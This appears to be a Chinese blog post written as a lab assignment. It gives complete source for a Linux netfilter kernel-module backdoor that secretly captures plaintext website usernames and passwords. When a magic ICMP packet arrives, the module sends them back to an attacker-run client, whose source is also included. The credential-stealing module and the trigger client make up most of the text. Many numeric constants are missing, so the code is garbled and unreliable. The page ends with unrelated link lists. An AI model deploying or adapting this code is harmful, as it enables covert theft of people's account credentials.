一:要求:

  编写一个基于netfilter的模块,该模块的功能是捕获如mail.ustc.edu.cn等使用明文传输用户名和密码的网站的用户名和密码;并在接收到特定的ICMP数据包之后将捕获的用户名和密码发给攻击者。

二:背景介绍

1.LKM:Loadable Kernel Module是可加载内核模块,通过 Linux 内核模块(LKM)可以在运行时动态地更改 Linux,可动态更改 是指可以将新的功能加载到内核、从内核去除某个功能,甚至添加使用他 LKM 的新 LKM。

  LKM版hello world:

  内核模块必须有至少两个函数,init_module()和cleanup_module(),分别表示起始和结束(也可以使用宏定义,module_init或module_exit指定函数担任起始和结束函数,并不一定是这两个函数名)。每一个内核模块都必须包括linux/module.h。

/*
* hello-1.c - The simplest kernel module.
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */ int init_module(void)
{
printk(KERN_INFO "Hello world 1.\n"); /*
* A non 0 return means init_module failed; module can't be loaded.
*/
return ;
} void cleanup_module(void)
{
printk(KERN_INFO "Goodbye world 1.\n");
}

编译内核模块的makefile如下:

obj-m += hello-.o

all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

内核模块编译成功之后会产生.ko文件,使用insmod命令可以将该内核模块加载到内核,使用rmmod命令可以将内核模块卸载。

对于本例,可以在insmod 和rmmod之后,使用dmesg | tail 命令查看这个hello world程序在内核中的输出。

2.Netfilter是从Linux 2.4开始内核的一个子系统,架构就是在整个网络流程的若干位置放置了一些检测点(HOOK),而在每个检测点上登记了一些处理函数进行处理(如包过滤,NAT等,甚至可以是 用户自定义的功能)。

  IP层的五个HOOK点的位置如下所示

  [1]:NF_IP_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测), 目的地址转换在此点进行;

  [2]:NF_IP_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;

  [3]:NF_IP_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;

  [4]:NF_IP_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;

  [5]:NF_IP_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。

三:主要功能

  本次编程实验的目的是为了练习LKM编程和更进一步深入了解iptables和netfilter。程序的主要功能在在受害者电脑上安装一个kernel module,此模块的功能是暗中记载受害者的mail.ustc.edu.cn(或任何一个使用明文传输用户名和密码的网站)的用户名或密码,并且在接收到攻击者发送过来的特殊数据包,本例中是一个特殊的ICMP数据包之后,将受害者该网站的用户名和密码发送给攻击者。

四:代码

1.编写内核程序nfsniff.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h> #define MAGIC_CODE 0x5B
#define REPLY_SIZE 36 MODULE_LICENSE("GPL"); #define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr)) /* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = ; /* Marks if we already have a pair */ /* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = ;
static unsigned short target_port = ; /* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */ //sk_buff socket buffer)结构是linux网络代码中重要的数据结构,它管理和控制接收或发送数据包的信息。
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_http(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_connection;
int len,i; tcp = tcp_hdr(skb);
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * )); if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) { check_connection = strstr(data,"Connection"); name = strstr(check_connection,"uid=");
_and = strstr(name,"&");
name += ;
len = _and - name;
//kmalloc:分配内核空间的内存,kmalloc保证分配的内存在物理空间是连续的,vmalloc保证虚拟地址空间的连续
//len+2:要分配内存的大小,GFP_KERNEL:要分配内存的类型
if ((username = kmalloc(len + , GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + );
for (i = ; i < len; ++i)
{
*(username + i) = name[i];
}
*(username + len) = '\0'; passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd += ;
len = _and - passwd;
if ((password = kmalloc(len + , GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + );
for (i = ; i < len; ++i)
{
*(password + i) = passwd[i];
}
*(password + len) = '\0'; } else { return;
} if (!target_ip)
target_ip = ip_hdr(skb)->daddr;
if (!target_port)
target_port = tcp->source; if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */ if (have_pair)
printk("Have password pair! U: %s P: %s\n", username, password);
} /* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
//捕获输入的用户名和密码
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct tcphdr *tcp; /* Make sure this is a TCP packet first */
if (ip_hdr(sb)->protocol != IPPROTO_TCP)
//保留该数据包
return NF_ACCEPT; /* Nope, not TCP */ tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * )); /* Now check to see if it's an FTP packet */
//htons host to network short 将主机的无符号短整型转换为网络字节序
if (tcp->dest != htons())
return NF_ACCEPT; /* Nope, not FTP */ /* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
//解析HTTP包
if (!have_pair)
check_http(sb); /* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
} /* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
//捕获攻击者发来的ICMP包
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */ /* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT; /* Is this an ICMP packet? */
if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * ); /* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
} /* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = ip_hdr(sb)->saddr;
ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
ip_hdr(sb)->daddr = taddr; sb->pkt_type = PACKET_OUTGOING; switch (sb->dev->type) {
case ARPHRD_PPP: //ppp协议 /* Ntcho iddling needs doing */
break;
case ARPHRD_LOOPBACK://环路
case ARPHRD_ETHER://以太网
{
unsigned char t_hwaddr[ETH_ALEN];
//eth_hdr(sb)代表以太网帧的头部,交换源和目的MAC地址
/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)eth_hdr(sb);
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
ETH_ALEN);
memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
//icmp头部包括:类型号(8bit)代码段(8bit)校验和(16bit)标识符(16)序列号(16)IP头部,IP数据报的前8字节
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, );
if (username)
//memcpy(cp_data + 4, username, 16);
//username所指内存地址拷贝16字节到cp_data
memcpy(cp_data + , username, );
if (password)
memcpy(cp_data + , password, ); /* This is where things will die if they are going to.
* Fingers crossed... */
//封包函数
dev_queue_xmit(sb); /* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = ; target_port = target_ip = ; // printk("Password retrieved\n");
//忘掉数据包
return NF_STOLEN;
} int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_INET_PRE_ROUTING; post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_INET_POST_ROUTING; nf_register_hook(&pre_hook);
nf_register_hook(&post_hook); return ;
} void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook); if (password)
kfree(password);
if (username)
kfree(username);
}

2.编写Makefile文件

obj-m += nfsniff_http.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ~

3.make 将.c文件插入到内核,此时后门程序开始监听

4.在另一台虚拟机编译运行getpassword.c文件,发送ICMP报文给被攻击者,同时捕获发回来的ICMP报文中的账号密码。

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h> #ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h> /* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff); int main(int argc, char *argv[])
{
unsigned char dgram[]; /* Plenty for a PING datagram */
unsigned char recvbuff[];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = ;
int one = ;
int *ptr_one = &one; if (argc < ) {
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[]);
exit();
} /* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < ) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
strerror(errno));
exit();
} /* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < ) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
strerror(errno));
exit();
} addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[]); my_addr.s_addr = inet_addr(argv[]); memset(dgram, 0x00, );
memset(recvbuff, 0x00, ); /* Fill in the IP fields first */
iphead->ip_hl = ;
iphead->ip_v = ;
iphead->ip_tos = ;
iphead->ip_len = ;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = ;
iphead->ip_ttl = ;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = ;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr; /* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(, (unsigned short *)icmphead); /* Finally, send the packet */
fprintf(stdout, "Sending request...\n");
//icmp:句柄。 dgram:缓冲区 84:缓冲区长度 0:flag位, addr:目标ip,
if (sendto(icmp_sock, dgram, , , (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < ) {
fprintf(stderr, "\nFailed sending request! %s\n",
strerror(errno));
return ;
} fprintf(stdout, "Waiting for reply...\n");
if (recvfrom(icmp_sock, recvbuff, , , (struct sockaddr *)&src,
&src_addr_size) < ) {
fprintf(stdout, "Failed getting reply packet! %s\n",
strerror(errno));
close(icmp_sock);
exit();
} iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + ),
sizeof (struct in_addr)); fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s\n",
(char *)((char *)icmphead + ));
fprintf(stdout, "Password: %s\n",
(char *)((char *)icmphead + )); close(icmp_sock); return ;
} /* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum; for(sum = ;numwords > ;numwords--)
sum += *buff++; /* add next word, then increment pointer */ sum = (sum >> ) + (sum & 0xFFFF);
sum += (sum >> ); return ~sum;
}

  5.演示截图

基于netfilter和LVM的密码窃取的更多相关文章

  1. [信安Presentation]一种基于GPU并行计算的MD5密码解密方法

    -------------------paper--------------------- 一种基于GPU并行计算的MD5密码解密方法 0.abstract1.md5算法概述2.md5安全性分析3.基 ...

  2. 基于JavaScript实现表单密码的隐藏和显示出来

    转载:http://www.jb51.net/article/80326.htm 主要代码:<input type="password" name="pass&qu ...

  3. PPPOE拨号上网流程及密码窃取具体实现

    楼主学生党一枚,最近研究netkeeper有些许心得. 关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了. 本文主要讲解rasdial的部分核 ...

  4. Linux内核--基于Netfilter的内核级包过滤防火墙实现

    测试内核版本:Linux Kernel 2.6.35----Linux Kernel 3.2.1 原创作品,转载请标明http://blog.csdn.net/yming0221/article/de ...

  5. linux中防止黑客进入单用户模式进行强制修改密码窃取数据

    如何防止别人恶意通过单用户系统破解root密码,进入系统窃取数据? 给grub加密,不让别人通过grub进入单用户. 当前系统:CentOS Linux release 7.6.1810 (Core) ...

  6. 基于struts2的记住账号密码的登录设计

    一个简单的基于struts2的登录功能,实现的额外功能有记住账号密码,登录错误提示.这里写上我在设计时的思路流程,希望大家能给点建设性的意见,帮助我改善设计. 登录功能的制作,首先将jsp界面搭建出来 ...

  7. 基于nginx的配置网站密码认证

    在nginx配置服务中,创建访问网站密码认证. 1)需要ngx_http_auth_basic_module模块 语法: Syntax: auth_basic string | off; Defaul ...

  8. 基于RSA的WEB前端密码加密方案

    受制于WEB页面源码的暴露,因此传统的对称加密方案以及加密密钥都将暴露在JS文件中,同样可以被解密. 目前比较好的解决方案是WEB页面全程或用户登录等关键环节使用HTTPS进行传输. 另外一种解决方案 ...

  9. [个人论文]一种基于GPU并行计算的MD5密码解密方法

    求轻喷... [顺便get一份LaTeX论文模板....还是XeLaTex好用.珍爱生命远离CJK http://files.cnblogs.com/files/pdev/paper.zip

随机推荐

  1. Failed to start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/SpringStruts]]

    今天启动Tomcat时候遇到了这个问题 Failed to start component [StandardEngine[Catalina].StandardHost[localhost].Stan ...

  2. ui-router

    学习历程:1 ng-router --> 2 location  --> 3 $location -->  4 promise  --> 5 html5 history  -- ...

  3. 这家IT教育公司太拼了:毕业生找不到工作就全额退学费!

    乐橙谷为了让更多的学生有工作,有高薪工作,已经决定尝试一种更刺激的游戏规则:完成课时的学员如果毕业找不到工作,公司将全额退还学费.这家公司秉承着自己的使命:以尊重的文化,敬畏的心态去努力帮助每个学生实 ...

  4. MySQL高级查询(二)

    EXISTS 和NOT EXISTS子查询 EXISTS子查询 语法:   SELECT ……… FROM 表名 WHERE EXISTS (子查询); 例: SELECT `studentNo` A ...

  5. 第6章 Overlapped I/O, 在你身后变戏法 ---被激发的 Event 对象 -4

    以文件 handle 作为激发机制,有一个明显的限制,那就是没办法说出到底是哪一个 overlapped 操作完成了.如果每个文件 handle 只有一个操作等待决定,上述问题其实并不成为问题.但是如 ...

  6. Object.defineProperty()方法的用法详解

    Object.defineProperty()函数是给对象设置属性的. Object.defineProperty(object, propertyname, descriptor); 一共有三个参数 ...

  7. ssh (免密码登录、开启服务)

    ssh 无密码登录要使用公钥与私钥.linux下可以用用ssh-keygen生成公钥/私钥对,下面我以Unbutun为例.有机器A(192.168.1.155),B(192.168.1.181).现想 ...

  8. Linux入门之常用命令(7)压缩

    compress filename 压缩   -d解压缩  *.Z bzip -d解压缩 -z压缩 *.bz2 bzcat filename .bz2 读取压缩文件内容 gzip -d解压缩  -#压 ...

  9. JSP入门 el表达式

    我们已经知道el是jsp-2.0规范的一部分,tomcat-5.x版本以上都已经能够支持jsp-2.0规范,但在更低版本的tomcat和webphere,weblogic中还是无法使用这一便捷方式. ...

  10. ThreadLocal的理解与应用场景分析

    对于Java ThreadLocal的理解与应用场景分析 一.对ThreadLocal理解 ThreadLocal提供一个方便的方式,可以根据不同的线程存放一些不同的特征属性,可以方便的在线程中进行存 ...